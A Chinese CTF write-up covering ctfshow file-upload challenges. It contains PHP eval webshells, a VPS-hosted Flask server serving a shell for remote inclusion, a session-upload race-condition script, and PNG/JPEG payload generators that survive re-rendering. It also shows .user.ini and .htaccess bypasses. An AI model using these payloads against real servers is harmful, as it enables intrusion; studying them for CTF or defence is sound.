CTFSHOW总结

WEB 151(前端验证限制后缀)

1.在有的时候可以选择禁用js代码来实现绕过,但该题不可。

2.看具体前端过滤了啥,能在页面直接修改代码最好,该题可以使用该方法。

3.先上传符合规定的文件类型,然后抓包在bp中修改数据绕过过滤,该题也可用该方法。

WEB 152(限制Content-Type)

1.上传符合规定的文件类型然后bp抓包修改后缀。

常用的Content-Type如下:

image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
application/x-zip-compressed:zip压缩包格式

WEB 153(图片马+.user.ini上传)

但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。而该题目文件上传以后放在了/upload/目录下,而/upload/目录下刚好有一个index.php

先上传图片马,再上传我们的.user.ini文件,在.user.ini中加入如下代码。

auto_prepend_file=m.jpg
or
auto_append_file=m.jpg

当然咯,如果开启了远程包含:allow_url_include=On;则直接可以远程包含我们vps上的🐎。

在下面题当中有的过滤了 因此我们的ip地址要转化为长地址(十进制)。但我本人实验的时候,将马放在了vps上后,发现ip地址转化为10进制后会包含失败(ctfshow群主师傅说:"因为你的http是基于文件的,需要用基于路由的。")。因此我利用了Flask并重新放在了我的vps上(我下面的代码没指认端口,因为下面的代码是在我本地电脑运行的,然后我利用了内网穿透到我vps的80端口)。

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return "<?php eval($_POST[m]);?>"

if __name__ == "__main__":
    app.run()

当然咯,这里也可以包含/var/log/nginx/access/log,然后在ua中注入我们的🐎。

当然咯,这里也可以进行session包含/tmp/sess_m,然后利用条件竞争脚本去跑。

import requests
import io
import threading

url = "http://999d12cf-74fc-4f24-bb5d-b78571baea58.challenge.ctf.show/"
sessid = "m"
data={
    "1":"system('ls');"
    #"1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>')"
}

def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
                },
            cookies={
                'PHPSESSID': sessid
                },
            files={
                'file': ('a.', filebytes)
                }
            )

def read(session):
    while True:
        res = session.post(url+"upload/index.php",
                           data=data,
                           cookies={
                               "PHPSESSID":sessid
                           }
                           )
        if "upload_progress" in res.text:
            print(res.text)
        else:
            print("Retry")
        # res2 = session.get("http://1.14.71.254:28495/2.php")
        # if res2.status_code == 200:
        #     print("成功写入一句话!")
        # else:
        #     print("Retry")

if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()

WEB 154-160

这些题目要进行测试过滤了什么(用二分法比较快咯),然后去绕过即可。

这里补充两个我没了解过的两个知识点:

1.过滤了 []那我们直接用{}来代替图片马内容<?=eval($_POST{1});?>

2.<?=include"/var/lo"."g/nginx/access.lo"."g"?>因为log被过滤了。所以用拼接绕过

WEB 161(图片头检测)

这里要加上图片头(GIF89a),详情图片头看我的另一篇MISC文章

WEB 162、163

  参考WEB153

WEB 164(PNG图片二次渲染)

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的图片的路径
 
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
 
?>

WEB 165(JPEG图片二次渲染)

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
<!-- 用法  php exp.php a.png -->

WEB 166(zip)

修改Content-Type为application/x-zip-compressed

WEB 167(.htaccess上传)

服务器为apache httpd服务,上传.htaccess文件并编辑内容为

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

or

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

ps:

php_value auto_append_file 'flag'//加载一个文件

WEB 168-170(一些过滤,绕过即可) 

 

posted @ 2022-10-15 10:37  hithub  阅读(301)  评论(0编辑  收藏  举报